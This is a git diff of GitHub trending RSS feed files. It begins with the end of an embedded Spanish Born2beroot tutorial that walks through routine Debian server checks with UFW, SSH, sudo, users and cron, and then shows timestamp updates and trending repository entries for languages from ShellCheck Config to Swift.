<img width="352" alt="Screen Shot 2022-11-25 at 12 00 02 AM" src="https://user-images.githubusercontent.com/66915274/203872315-0e87428b-5c5a-475b-9d7c-350eafbe3bea.png">
<p>2 ◦ Comprobar que el servicio UFW esta en uso.</p>
<p><code>sudo ufw status</code></p>
<img width="326" alt="Screen Shot 2022-11-24 at 1 25 06 AM" src="https://user-images.githubusercontent.com/66915274/203668014-bd228793-3532-4494-8b01-d046e4930c10.png">
<p><code>sudo service ufw status</code></p>
<img width="720" alt="Screen Shot 2022-11-24 at 1 25 37 AM" src="https://user-images.githubusercontent.com/66915274/203668066-6a3420d4-ae72-4263-8474-2e4946e2367a.png">
<p>3 ◦ Comprobar que el servicio SSH esta en uso.</p>
<p><code>sudo service ssh status</code></p>
<img width="711" alt="Screen Shot 2022-11-24 at 1 26 43 AM" src="https://user-images.githubusercontent.com/66915274/203668165-e642c21f-a11e-48b1-bed5-83639445251e.png">
<p>4 ◦ Comprobar que utilizas el sistema operativo Debian o Centos.</p>
<p><code>uname -v</code> o <code>uname --kernel-version</code></p>
<img width="306" alt="Screen Shot 2022-11-24 at 1 37 17 AM" src="https://user-images.githubusercontent.com/66915274/203669122-0be5033c-c882-4a2e-bf22-6a680f998a56.png">
<p>5 ◦ Comprobar que tu usuario este dentro de los grupos "sudo" y "user42".</p>
<p><code>getent group sudo</code></p>
<p><code>getent group user42</code></p>
<img width="314" alt="Screen Shot 2022-11-24 at 3 26 30 AM" src="https://user-images.githubusercontent.com/66915274/203680444-5fb18ae1-724e-4f78-a77f-a0f5bcc04913.png">
<p>6 ◦ Crear un nuevo usuario y mostrar que sigue la politica de contraseñas que hemos creado.</p>
<p><code>sudo adduser name_user</code> y introducimos una contraseña que siga la politica.</p>
<img width="465" alt="Screen Shot 2022-11-24 at 3 29 45 AM" src="https://user-images.githubusercontent.com/66915274/203680847-b4555fd4-f847-4bce-b944-edf3e7720c99.png">
<p>7 ◦ Creamos un nuevo grupo llamado "evaluating".</p>
<p><code>sudo addgroup evaluating</code></p>
<img width="363" alt="Screen Shot 2022-11-24 at 3 30 47 AM" src="https://user-images.githubusercontent.com/66915274/203680980-784b2b60-82f4-405a-9f07-ec4948e86868.png">
<p>8 ◦ Añadimos el nuevo usuario al nuevo grupo.</p>
<p><code>sudo adduser name_user evaluating</code></p>
<img width="411" alt="Screen Shot 2022-11-24 at 3 33 08 AM" src="https://user-images.githubusercontent.com/66915274/203681233-096b200a-2b99-4638-81f3-a3bff046c0db.png">
<p>Para comprobar que se haya introducido correctamente.</p>
<img width="356" alt="Screen Shot 2022-11-24 at 3 33 31 AM" src="https://user-images.githubusercontent.com/66915274/203681267-106e4d37-0ec4-4006-95a4-88dd7109c4b6.png">
<p>9 ◦ Comprobar que el hostname de la maquina es correcto login42.</p>
<img width="224" alt="Screen Shot 2022-11-24 at 3 37 27 AM" src="https://user-images.githubusercontent.com/66915274/203681701-4f9b9ff1-28b6-4d06-9489-f930eee4b6e5.png">
<p>10 ◦ Modificar hostname para remplazar tu login por el del evaluador. En este caso lo reemplazare por student42.</p>
<p><code>sudo nano /etc/hostname</code> y remplazamos nuestro login por el nuevo.</p>
<img width="445" alt="Screen Shot 2022-11-24 at 3 42 30 AM" src="https://user-images.githubusercontent.com/66915274/203682323-dfd14846-9c98-48d0-9c83-56739de3220b.png">
<img width="525" alt="Screen Shot 2022-11-24 at 3 43 47 AM" src="https://user-images.githubusercontent.com/66915274/203682470-598a9dbf-ef28-4ef5-86cf-8caeef083ec3.png">
<p><code>sudo nano /etc/hosts</code> y remplazamos nuestro login por el nuevo.</p>
<img width="418" alt="Screen Shot 2022-11-24 at 3 44 08 AM" src="https://user-images.githubusercontent.com/66915274/203682512-5dd1452d-a704-466b-b9e1-89aa472fada6.png">
<img width="512" alt="Screen Shot 2022-11-24 at 3 44 35 AM" src="https://user-images.githubusercontent.com/66915274/203682562-36741000-6203-4a98-9de7-53afb24d6ea2.png">
<p>Reiniciamos la maquina.</p>
<img width="358" alt="Screen Shot 2022-11-24 at 3 44 58 AM" src="https://user-images.githubusercontent.com/66915274/203682614-60b10a36-c5d9-478b-a119-73e32a87b7fb.png">
<p>Una vez nos hemos logueado de nuevo podemos ver como el hostname se ha cambiado correctamente.</p>
<img width="263" alt="Screen Shot 2022-11-24 at 3 46 30 AM" src="https://user-images.githubusercontent.com/66915274/203682819-bd35ff17-3810-4644-9c44-93957e41d181.png">
<p>11 ◦ Comprobar que todas las particiones son como indica el subject.</p>
<p><code>lsblk</code></p>
<img width="495" alt="Screen Shot 2022-11-24 at 3 52 17 AM" src="https://user-images.githubusercontent.com/66915274/203683496-b49a7ada-2a0c-4f87-a013-e307370b3900.png">
<p>12 ◦ Comprobar que sudo esta instalado.</p>
<p><code>which sudo</code></p>
<img width="275" alt="Screen Shot 2022-11-24 at 4 00 42 AM" src="https://user-images.githubusercontent.com/66915274/203684520-1340d8dc-1b13-4828-9056-2631e659ddcf.png">
<p>Utilizar which realmente no es una buena practica ya que no todos los paquetes se encuentran en las rutas donde which busca, aun asi para la evaluacion es mejor ya que es un comando sencillo y facil de aprender. Para un mejor uso haremos uso del siguiente comando:</p>
<p><code>dpkg -s sudo</code></p>
<img width="789" alt="Screen Shot 2022-11-24 at 4 02 13 AM" src="https://user-images.githubusercontent.com/66915274/203684698-d66c3c5b-2d6b-43c5-8f63-1a3cddaf7b4d.png">
<p>13 ◦ Introducimos el nuevo usuario dentro del grupo sudo.</p>
<p><code>sudo adduser name_user sudo</code></p>
<img width="468" alt="Screen Shot 2022-11-24 at 5 02 24 AM" src="https://user-images.githubusercontent.com/66915274/203691378-2f2f5309-e650-486e-9cd6-cae4dec2ffa6.png">
<p>Comprobamos que esta dentro del grupo.</p>
<img width="415" alt="Screen Shot 2022-11-24 at 5 02 39 AM" src="https://user-images.githubusercontent.com/66915274/203691402-6b84f333-10f7-4908-8255-652613afeede.png">
<p>14 ◦ Muestra la aplicación de las reglas impuestas para sudo por el subject.</p>
<img width="503" alt="Screen Shot 2022-11-24 at 5 12 02 AM" src="https://user-images.githubusercontent.com/66915274/203692615-bc1ec51c-ae5f-444f-9577-39b01112c969.png">
<img width="762" alt="Screen Shot 2022-11-24 at 5 12 17 AM" src="https://user-images.githubusercontent.com/66915274/203692638-e6de6cba-ad42-48b9-ac84-21e2b8c50563.png">
<p>15 ◦ Muestra que la ruta /var/log/sudo/ existe y contiene almenos un fichero, en este se debería ver un historial de los comandos utilizados con sudo.</p>
<img width="295" alt="Screen Shot 2022-11-24 at 5 17 54 AM" src="https://user-images.githubusercontent.com/66915274/203693244-39cb5903-7934-4f8a-8c39-f4ad94d305fb.png">
<img width="643" alt="Screen Shot 2022-11-24 at 5 19 07 AM" src="https://user-images.githubusercontent.com/66915274/203693358-b8a2832e-a80d-4304-b3be-43680ab9ba6d.png">
<p>Ejecuta un comando con sudo y comprueba que se actualiza el fichero.</p>
<img width="439" alt="Screen Shot 2022-11-24 at 5 23 08 AM" src="https://user-images.githubusercontent.com/66915274/203693791-21697c05-5087-4494-92ed-56ef9680f9fc.png">
<img width="661" alt="Screen Shot 2022-11-24 at 5 23 21 AM" src="https://user-images.githubusercontent.com/66915274/203693816-be7f7b83-d492-4d01-89cf-abff01d07d96.png">
<p>16 ◦ Comprueba que el programa UFW esta instalado en la maquina virtual y comprueba que funciona correctamente.</p>
<p><code>dpkg -s ufw</code></p>
<img width="730" alt="Screen Shot 2022-11-24 at 5 24 47 AM" src="https://user-images.githubusercontent.com/66915274/203693974-9e37e6d4-13a1-45b9-bb0d-03960a072694.png">
<p><code>sudo service ufw status</code></p>
<img width="704" alt="Screen Shot 2022-11-24 at 5 25 49 AM" src="https://user-images.githubusercontent.com/66915274/203694095-3bcf3a2e-04b8-4d63-a55c-b1e952e52dad.png">
<p>17 ◦ Lista las reglas activas en UFW si no esta hecha la parte bonus solo debe aparecer la regla para el puerto 4242.</p>
<p><code>sudo ufw status numbered</code></p>
<img width="500" alt="Screen Shot 2022-11-24 at 5 27 50 AM" src="https://user-images.githubusercontent.com/66915274/203694334-08b7791e-c7b6-4325-be60-7dc4e0257411.png">
<p>18 ◦ Crea una nueva regla para el puerto 8080. Comprueba que se ha añadido a las reglas activas y acto seguido puedes borrarla.</p>
<p><code>sudo ufw allow 8080</code> para crearla</p>
<img width="327" alt="Screen Shot 2022-11-24 at 5 31 35 AM" src="https://user-images.githubusercontent.com/66915274/203694718-09ae8097-e636-477d-bdc7-2d45ce892b72.png">
<p><code>sudo ufw status numbered</code></p>
<img width="473" alt="Screen Shot 2022-11-24 at 5 31 59 AM" src="https://user-images.githubusercontent.com/66915274/203694782-4f70c4a5-0de2-41ea-aba7-b1887e1fd517.png">
<p>Para borrar la regla debemos utilizar el comando <code>sudo ufw delete num_rule</code></p>
<img width="308" alt="Screen Shot 2022-11-24 at 5 33 15 AM" src="https://user-images.githubusercontent.com/66915274/203694914-82ae09cc-7e96-47db-b5ea-89e496f57db6.png">
<p>Comprobamos que se ha eliminado y vemos el numero de la siguiente regla que hay que borrar.</p>
<img width="467" alt="Screen Shot 2022-11-24 at 5 33 41 AM" src="https://user-images.githubusercontent.com/66915274/203694968-623554d2-f9c6-42db-aa34-c3c627b45f8e.png">
<p>Borramos de nuevo la regla.</p>
<img width="308" alt="Screen Shot 2022-11-24 at 5 34 03 AM" src="https://user-images.githubusercontent.com/66915274/203695003-deccc02f-ffc9-445a-a202-48b57cb66545.png">
<p>Comprobamos que solo nos quedan las reglas requeridas en el subject.</p>
<img width="461" alt="Screen Shot 2022-11-24 at 5 34 11 AM" src="https://user-images.githubusercontent.com/66915274/203695013-6b9ff40b-d23f-4a95-9694-f4e73e17f252.png">
<p>19 ◦ Comprueba que el servicio ssh esta instalado en la maquina virtual, que funciona correctamente y que solo funciona por el puerto 4242.</p>
<p><code>which ssh</code></p>
<img width="235" alt="Screen Shot 2022-11-24 at 5 37 25 AM" src="https://user-images.githubusercontent.com/66915274/203695373-c1cf2aca-15d5-4e7d-8c13-6e327824ae2c.png">
<p><code>sudo service ssh status</code></p>
<img width="616" alt="Screen Shot 2022-11-24 at 5 40 34 AM" src="https://user-images.githubusercontent.com/66915274/203695746-b8a3235d-6084-40c6-8cc0-83e78d0b497c.png">
<p>20 ◦ Usa ssh para iniciar sesión con el usuario recién creado. Asegurate de que no puede usar ssh con el usuario root.</p>
<p>Intentamos conectarnos por ssh con el usuario root pero no tenemos permisos.</p>
<img width="1377" alt="Screen Shot 2022-11-24 at 5 44 07 AM" src="https://user-images.githubusercontent.com/66915274/203696165-f1107b33-0c7e-4cce-8d04-56b845637ec8.png">
<p>Nos conectamos por ssh con el nuevo usuario con el comando <code>ssh newuser@localhost -p 4242</code></p>
<img width="1384" alt="Screen Shot 2022-11-24 at 5 48 06 AM" src="https://user-images.githubusercontent.com/66915274/203696612-f2c98ebf-be55-4830-b5ea-b0ac98de7c65.png">
<p>21 ◦ Modifica el tiempo de ejecución del script de 10 minutos a 1.</p>
<p>Ejecutamos el siguiente comando para asi modificar el fichero crontab <code>sudo crontab -u root -e</code></p>
<img width="455" alt="Screen Shot 2022-11-24 at 6 30 57 AM" src="https://user-images.githubusercontent.com/66915274/203701854-956c27de-367f-4b54-b21f-8a892d4891d4.png">
<p>Modificamos el primer paramentro , en vez de 10 lo cambiamos a 1.</p>
<img width="638" alt="Screen Shot 2022-11-24 at 6 31 44 AM" src="https://user-images.githubusercontent.com/66915274/203701944-393bd687-8b9c-4643-9d59-4789361e314d.png">
<p>22 ◦ Finalmente haz que el script deje de ejecutarse cuando el servidor se haya iniciado, pero sin modificar el script.</p>
<p><code>sudo /etc/init.d/cron stop</code></p>
<img width="483" alt="Screen Shot 2022-11-24 at 3 25 53 PM" src="https://user-images.githubusercontent.com/66915274/203807610-d87124f2-47ca-4546-8037-b904e8bcf5d1.png">
<p>Si queremos que vuelva a ejecutarse:</p>
<p><code>sudo /etc/init.d/cron start</code></p>
<img width="483" alt="Screen Shot 2022-11-24 at 3 27 38 PM" src="https://user-images.githubusercontent.com/66915274/203807970-8fc69a39-6d10-4e64-9be1-eb49c4bf95f8.png">
<h2>10- Tester 🆗</h2>
<p>Comprueba que no te hayas dejado nada! Tester propio para checkear que la instalación y configuración se ha realizado exitosamente.</p>
<p><a href="https://github.com/gemartin99/Born2beroot-Tester">AQUÍ</a></p>
<img width="440" alt="Screen Shot 2023-03-09 at 3 40 54 AM" src="https://user-images.githubusercontent.com/66915274/223902066-f2f6a059-9df8-4e32-a92a-14c43ff8fb0f.png">
<h1>Contacto 📥</h1>
<h3>Contacta conmigo si crees que puedo mejorar el tutorial! Puede ayudar a futuros estudiantes! 😁</h3>
<p>◦ Email: <a href="mailto:gemartin@student.42barcelona.com">gemartin@student.42barcelona.com</a></p>
<p>◦ Linkedin: <a href="https://www.linkedin.com/in/gemartin99/">https://www.linkedin.com/in/gemartin99/</a></p>
<h1>Quizás pueda interesarte!</h1>
<h3>- Para ver mi progresion en el common core 42 ↙️</h3>
<p><a href="https://github.com/gemartin99/42cursus">AQUÍ</a></p>
<h3>- Mi perfil en la intranet de 42 ↙️</h3>
<p><a href="https://profile.intra.42.fr/users/gemartin">AQUÍ</a></p>
\ No newline at end of file
diff --git a/shellcheck-config/daily/index.xml b/shellcheck-config/daily/index.xml
index 240e661d0d0..75147197517 100644
--- a/shellcheck-config/daily/index.xml
+++ b/shellcheck-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ShellCheck Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:05Z
+ 2023-12-13T01:44:12Z
Daily Trending of ShellCheck Config in GitHub
\ No newline at end of file
diff --git a/shellsession/daily/index.xml b/shellsession/daily/index.xml
index 6a67e28e38e..6bd28ab1f28 100644
--- a/shellsession/daily/index.xml
+++ b/shellsession/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ShellSession Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:21Z
+ 2023-12-13T01:44:34Z
Daily Trending of ShellSession in GitHub
\ No newline at end of file
diff --git a/shen/daily/index.xml b/shen/daily/index.xml
index c47d05f3a82..843b115c6da 100644
--- a/shen/daily/index.xml
+++ b/shen/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Shen Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:20Z
+ 2023-12-13T01:44:32Z
Daily Trending of Shen in GitHub
\ No newline at end of file
diff --git a/sieve/daily/index.xml b/sieve/daily/index.xml
index 271b8fe2767..7d18abe4cd7 100644
--- a/sieve/daily/index.xml
+++ b/sieve/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Sieve Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:21Z
+ 2023-12-13T01:44:33Z
Daily Trending of Sieve in GitHub
\ No newline at end of file
diff --git a/singularity/daily/index.xml b/singularity/daily/index.xml
index 92297e91c00..6a9aaa41383 100644
--- a/singularity/daily/index.xml
+++ b/singularity/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Singularity Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:23Z
+ 2023-12-13T01:44:37Z
Daily Trending of Singularity in GitHub
\ No newline at end of file
diff --git a/slash/daily/index.xml b/slash/daily/index.xml
index 8bf12761c72..9a6826d69bf 100644
--- a/slash/daily/index.xml
+++ b/slash/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Slash Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:24Z
+ 2023-12-13T01:44:36Z
Daily Trending of Slash in GitHub
\ No newline at end of file
diff --git a/slice/daily/index.xml b/slice/daily/index.xml
index 17a8c299b2c..89dd195de61 100644
--- a/slice/daily/index.xml
+++ b/slice/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Slice Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:25Z
+ 2023-12-13T01:44:38Z
Daily Trending of Slice in GitHub
\ No newline at end of file
diff --git a/slim/daily/index.xml b/slim/daily/index.xml
index 2ff1fe31c36..48f391c20ce 100644
--- a/slim/daily/index.xml
+++ b/slim/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Slim Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:25Z
+ 2023-12-13T01:44:35Z
Daily Trending of Slim in GitHub
\ No newline at end of file
diff --git a/smali/daily/index.xml b/smali/daily/index.xml
index ffa5fed7e2a..755ee968a04 100644
--- a/smali/daily/index.xml
+++ b/smali/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Smali Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:27Z
+ 2023-12-13T01:44:40Z
Daily Trending of Smali in GitHub
\ No newline at end of file
diff --git a/smalltalk/daily/index.xml b/smalltalk/daily/index.xml
index 23f8eeca786..da61e71ddbe 100644
--- a/smalltalk/daily/index.xml
+++ b/smalltalk/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Smalltalk Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:32Z
+ 2023-12-13T01:44:45Z
Daily Trending of Smalltalk in GitHub
-
- plantec/Album
- 2023-12-12T01:59:32Z
- tag:github.com,2023-12-12:/plantec/Album
-
- <p>A fork of the Brick editor</p><hr>
-
\ No newline at end of file
diff --git a/smarty/daily/index.xml b/smarty/daily/index.xml
index 5146aef9c94..368cd9b8766 100644
--- a/smarty/daily/index.xml
+++ b/smarty/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Smarty Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:30Z
+ 2023-12-13T01:44:42Z
Daily Trending of Smarty in GitHub
\ No newline at end of file
diff --git a/smpl/daily/index.xml b/smpl/daily/index.xml
index a70b79295fa..c3e3c120094 100644
--- a/smpl/daily/index.xml
+++ b/smpl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SmPL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:34Z
+ 2023-12-13T01:44:46Z
Daily Trending of SmPL in GitHub
\ No newline at end of file
diff --git a/smt/daily/index.xml b/smt/daily/index.xml
index 27009afdda1..0ab085589ac 100644
--- a/smt/daily/index.xml
+++ b/smt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SMT Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:33Z
+ 2023-12-13T01:44:47Z
Daily Trending of SMT in GitHub
\ No newline at end of file
diff --git a/solidity/daily/index.xml b/solidity/daily/index.xml
index 51f7aa4e976..beef12e4b77 100644
--- a/solidity/daily/index.xml
+++ b/solidity/daily/index.xml
@@ -1,21 +1,14 @@
GitHub Solidity Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:36Z
+ 2023-12-13T01:44:49Z
Daily Trending of Solidity in GitHub
- captainahab0x/freedfi
- 2023-12-12T01:59:36Z
- tag:github.com,2023-12-12:/captainahab0x/freedfi
-
- <p></p><hr>
-
-
- ourzora/zora-721-contracts
- 2023-12-12T01:59:36Z
- tag:github.com,2023-12-12:/ourzora/zora-721-contracts
-
- <p>Zora drops contracts (powers create.zora.co)</p><hr>
+ LuozhuZhang/zkps-circuit-snark
+ 2023-12-13T01:44:49Z
+ tag:github.com,2023-12-13:/LuozhuZhang/zkps-circuit-snark
+
+ <p>A zk-SNARK implementation</p><hr>
\ No newline at end of file
diff --git a/soong/daily/index.xml b/soong/daily/index.xml
index d3847ca464f..3ec779e4a56 100644
--- a/soong/daily/index.xml
+++ b/soong/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Soong Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:37Z
+ 2023-12-13T01:44:53Z
Daily Trending of Soong in GitHub
\ No newline at end of file
diff --git a/sourcepawn/daily/index.xml b/sourcepawn/daily/index.xml
index b29a65ed60e..f251a84cb09 100644
--- a/sourcepawn/daily/index.xml
+++ b/sourcepawn/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SourcePawn Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:39Z
+ 2023-12-13T01:44:51Z
Daily Trending of SourcePawn in GitHub
\ No newline at end of file
diff --git a/sparql/daily/index.xml b/sparql/daily/index.xml
index 8fe0689c35e..453dc00984a 100644
--- a/sparql/daily/index.xml
+++ b/sparql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SPARQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:40Z
+ 2023-12-13T01:44:50Z
Daily Trending of SPARQL in GitHub
\ No newline at end of file
diff --git a/spline-font-database/daily/index.xml b/spline-font-database/daily/index.xml
index ff2de3d89d2..4e30a603810 100644
--- a/spline-font-database/daily/index.xml
+++ b/spline-font-database/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Spline Font Database Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:38Z
+ 2023-12-13T01:44:52Z
Daily Trending of Spline Font Database in GitHub
\ No newline at end of file
diff --git a/sqf/daily/index.xml b/sqf/daily/index.xml
index 2fda8e69650..4fad640edf5 100644
--- a/sqf/daily/index.xml
+++ b/sqf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SQF Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:41Z
+ 2023-12-13T01:44:55Z
Daily Trending of SQF in GitHub
\ No newline at end of file
diff --git a/sql/daily/index.xml b/sql/daily/index.xml
index 271a22673c5..9778670d0b1 100644
--- a/sql/daily/index.xml
+++ b/sql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:43Z
+ 2023-12-13T01:44:56Z
Daily Trending of SQL in GitHub
\ No newline at end of file
diff --git a/sqlpl/daily/index.xml b/sqlpl/daily/index.xml
index 351d6c8b5f4..aba44be7507 100644
--- a/sqlpl/daily/index.xml
+++ b/sqlpl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SQLPL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:42Z
+ 2023-12-13T01:44:54Z
Daily Trending of SQLPL in GitHub
\ No newline at end of file
diff --git a/squirrel/daily/index.xml b/squirrel/daily/index.xml
index 6a57c57bab6..c1d20dab46d 100644
--- a/squirrel/daily/index.xml
+++ b/squirrel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Squirrel Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:44Z
+ 2023-12-13T01:44:57Z
Daily Trending of Squirrel in GitHub
\ No newline at end of file
diff --git a/srecode-template/daily/index.xml b/srecode-template/daily/index.xml
index 8a31cd2acdf..1f867089487 100644
--- a/srecode-template/daily/index.xml
+++ b/srecode-template/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SRecode Template Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:45Z
+ 2023-12-13T01:44:59Z
Daily Trending of SRecode Template in GitHub
\ No newline at end of file
diff --git a/ssh-config/daily/index.xml b/ssh-config/daily/index.xml
index e12a4504cc4..18ada24a594 100644
--- a/ssh-config/daily/index.xml
+++ b/ssh-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SSH Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:45Z
+ 2023-12-13T01:45:00Z
Daily Trending of SSH Config in GitHub
\ No newline at end of file
diff --git a/stan/daily/index.xml b/stan/daily/index.xml
index 1ae13b79781..fe84bc9db21 100644
--- a/stan/daily/index.xml
+++ b/stan/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Stan Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:47Z
+ 2023-12-13T01:45:00Z
Daily Trending of Stan in GitHub
\ No newline at end of file
diff --git a/standard-ml/daily/index.xml b/standard-ml/daily/index.xml
index d3ab73d2641..3d73a0ed3e1 100644
--- a/standard-ml/daily/index.xml
+++ b/standard-ml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Standard ML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:46Z
+ 2023-12-13T01:45:01Z
Daily Trending of Standard ML in GitHub
\ No newline at end of file
diff --git a/starlark/daily/index.xml b/starlark/daily/index.xml
index 581e415a2e4..d58db42a43b 100644
--- a/starlark/daily/index.xml
+++ b/starlark/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Starlark Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:51Z
+ 2023-12-13T01:45:06Z
Daily Trending of Starlark in GitHub
\ No newline at end of file
diff --git a/stata/daily/index.xml b/stata/daily/index.xml
index e61e911287a..24905e09483 100644
--- a/stata/daily/index.xml
+++ b/stata/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Stata Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:49Z
+ 2023-12-13T01:45:04Z
Daily Trending of Stata in GitHub
\ No newline at end of file
diff --git a/ston/daily/index.xml b/ston/daily/index.xml
index 4b9b5ae3110..5f96de15b8d 100644
--- a/ston/daily/index.xml
+++ b/ston/daily/index.xml
@@ -1,7 +1,7 @@
GitHub STON Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:54Z
+ 2023-12-13T01:45:09Z
Daily Trending of STON in GitHub
\ No newline at end of file
diff --git a/stringtemplate/daily/index.xml b/stringtemplate/daily/index.xml
index 56ca165ad64..454ad5522dc 100644
--- a/stringtemplate/daily/index.xml
+++ b/stringtemplate/daily/index.xml
@@ -1,7 +1,7 @@
GitHub StringTemplate Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:53Z
+ 2023-12-13T01:45:07Z
Daily Trending of StringTemplate in GitHub
\ No newline at end of file
diff --git a/stylus/daily/index.xml b/stylus/daily/index.xml
index 0ead6a5fb7a..bd4a199240b 100644
--- a/stylus/daily/index.xml
+++ b/stylus/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Stylus Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:52Z
+ 2023-12-13T01:45:09Z
Daily Trending of Stylus in GitHub
\ No newline at end of file
diff --git a/subrip-text/daily/index.xml b/subrip-text/daily/index.xml
index 2c2a84200b7..29a3325c1c6 100644
--- a/subrip-text/daily/index.xml
+++ b/subrip-text/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SubRip Text Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:54Z
+ 2023-12-13T01:45:08Z
Daily Trending of SubRip Text in GitHub
\ No newline at end of file
diff --git a/sugarss/daily/index.xml b/sugarss/daily/index.xml
index 3701e14ae49..2ce1a42f2e4 100644
--- a/sugarss/daily/index.xml
+++ b/sugarss/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SugarSS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:56Z
+ 2023-12-13T01:45:10Z
Daily Trending of SugarSS in GitHub
\ No newline at end of file
diff --git a/supercollider/daily/index.xml b/supercollider/daily/index.xml
index 85a8b0cf2f2..56b89187d06 100644
--- a/supercollider/daily/index.xml
+++ b/supercollider/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SuperCollider Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:56Z
+ 2023-12-13T01:45:11Z
Daily Trending of SuperCollider in GitHub
\ No newline at end of file
diff --git a/svelte/daily/index.xml b/svelte/daily/index.xml
index 3522dcec55f..fd4f7ef08e9 100644
--- a/svelte/daily/index.xml
+++ b/svelte/daily/index.xml
@@ -1,7 +1,21 @@
GitHub Svelte Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:59Z
+ 2023-12-13T01:45:14Z
Daily Trending of Svelte in GitHub
+
+ up-csi/up-csi.github.io
+ 2023-12-13T01:45:14Z
+ tag:github.com,2023-12-13:/up-csi/up-csi.github.io
+
+ <p>The source code for the official UP CSI website.</p><hr>
+
+
+ threlte/three-inspect
+ 2023-12-13T01:45:14Z
+ tag:github.com,2023-12-13:/threlte/three-inspect
+
+ <p>An inspector and debugger for three.js</p><hr>
+
\ No newline at end of file
diff --git a/svg/daily/index.xml b/svg/daily/index.xml
index 340d42639b8..865c33d3c5b 100644
--- a/svg/daily/index.xml
+++ b/svg/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SVG Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:59Z
+ 2023-12-13T01:45:14Z
Daily Trending of SVG in GitHub
\ No newline at end of file
diff --git a/swift/daily/index.xml b/swift/daily/index.xml
index f1cd000d3f4..e9bbb60fb7c 100644
--- a/swift/daily/index.xml
+++ b/swift/daily/index.xml
@@ -1,28 +1,7 @@
GitHub Swift Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:05Z
+ 2023-12-13T01:45:21Z
Daily Trending of Swift in GitHub
-
- matteozappia/DynamicCowTS
- 2023-12-12T02:00:05Z
- tag:github.com,2023-12-12:/matteozappia/DynamicCowTS
-
- <p>Enable Dynamic Island on every device that is running iOS 16.0 - 16.6.1 / 17.0 using TrollStore.</p><hr><img src="https://raw.githubusercontent.com/matteozappia/DynamicCowTS/main/Images/dynamiccowiconpreview.png" width="100" height="100">
<h1>DynamicCowTS</h1>
